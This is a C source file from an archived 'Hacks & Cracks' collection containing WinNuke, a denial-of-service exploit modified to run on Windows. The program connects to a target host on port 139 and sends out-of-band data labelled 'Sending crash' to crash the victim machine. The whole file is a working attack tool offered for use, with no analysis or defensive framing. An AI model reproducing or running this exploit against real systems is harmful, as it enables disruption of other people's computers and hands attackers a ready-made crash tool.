home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / winnuke_mod_windows.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  2KB  |  78 lines

  1. /* winnuke.c - (05/07/97)  By _eci */
  2. /* modified for Windows (05/13/97) By _wfx */
  3. /* Tested on Win NT 4.0 */
  4.  
  5. #include <stdio.h>
  6. #include <string.h>
  7. #include <winsock.h>
  8.  
  9. #define dport 139  /* Attack port: 139 is what we want */
  10.  
  11. int x, s;
  12. char *str = "Bye";  /* Makes no diff */
  13. struct sockaddr_in addr, spoofedaddr;
  14. struct hostent *host;
  15.  
  16. int open_sock(int sock, char *server, short port) {
  17.     struct sockaddr_in blah;
  18.     struct hostent *he;
  19.     memset((char *)&blah,'0', sizeof(blah));
  20.  
  21.     blah.sin_family=AF_INET;
  22.     blah.sin_addr.s_addr=inet_addr(server);
  23.     blah.sin_port=htons(port);
  24.  
  25.     if ((he = gethostbyname(server)) != NULL) {
  26.         memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length );
  27.     }
  28.     else {
  29.         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
  30.             perror("gethostbyname()");
  31.             return(-3);
  32.         }
  33.     }
  34.  
  35.     if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
  36.         perror("connect()");
  37.         closesocket(sock);
  38.         return(-4);
  39.     }
  40.  
  41.     printf("Connected to [%s:%d].\n",server,port);
  42.     return 0;
  43. }
  44.  
  45.  
  46. void main(int argc, char *argv[]) {
  47.     WSADATA wsaData; 
  48.     int err; 
  49.     WORD wVersionRequested = MAKEWORD(1, 1); 
  50.  
  51.     if (argc != 2) {
  52.         printf("Usage: %s <target>\n",argv[0]);
  53.         exit(0);
  54.         }
  55.  
  56.     wVersionRequested = MAKEWORD(1, 1); 
  57.     if ( (err = WSAStartup(wVersionRequested, &wsaData)) != 0 ) {
  58.         printf("Could not initialize Winsock.");
  59.         exit(0);
  60.     }
  61.  
  62.     if ( (s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
  63. {
  64.         printf("%d ", WSAGetLastError());
  65.         perror("socket()");
  66.         exit(-1);
  67.     }
  68.  
  69.     open_sock(s,argv[1],dport);
  70.  
  71.     printf("Sending crash... ");
  72.     send(s,str,strlen(str),MSG_OOB);
  73.     sleep(100000);
  74.     printf("Done!\n");
  75.     closesocket(s);
  76. }
  77.  
  78.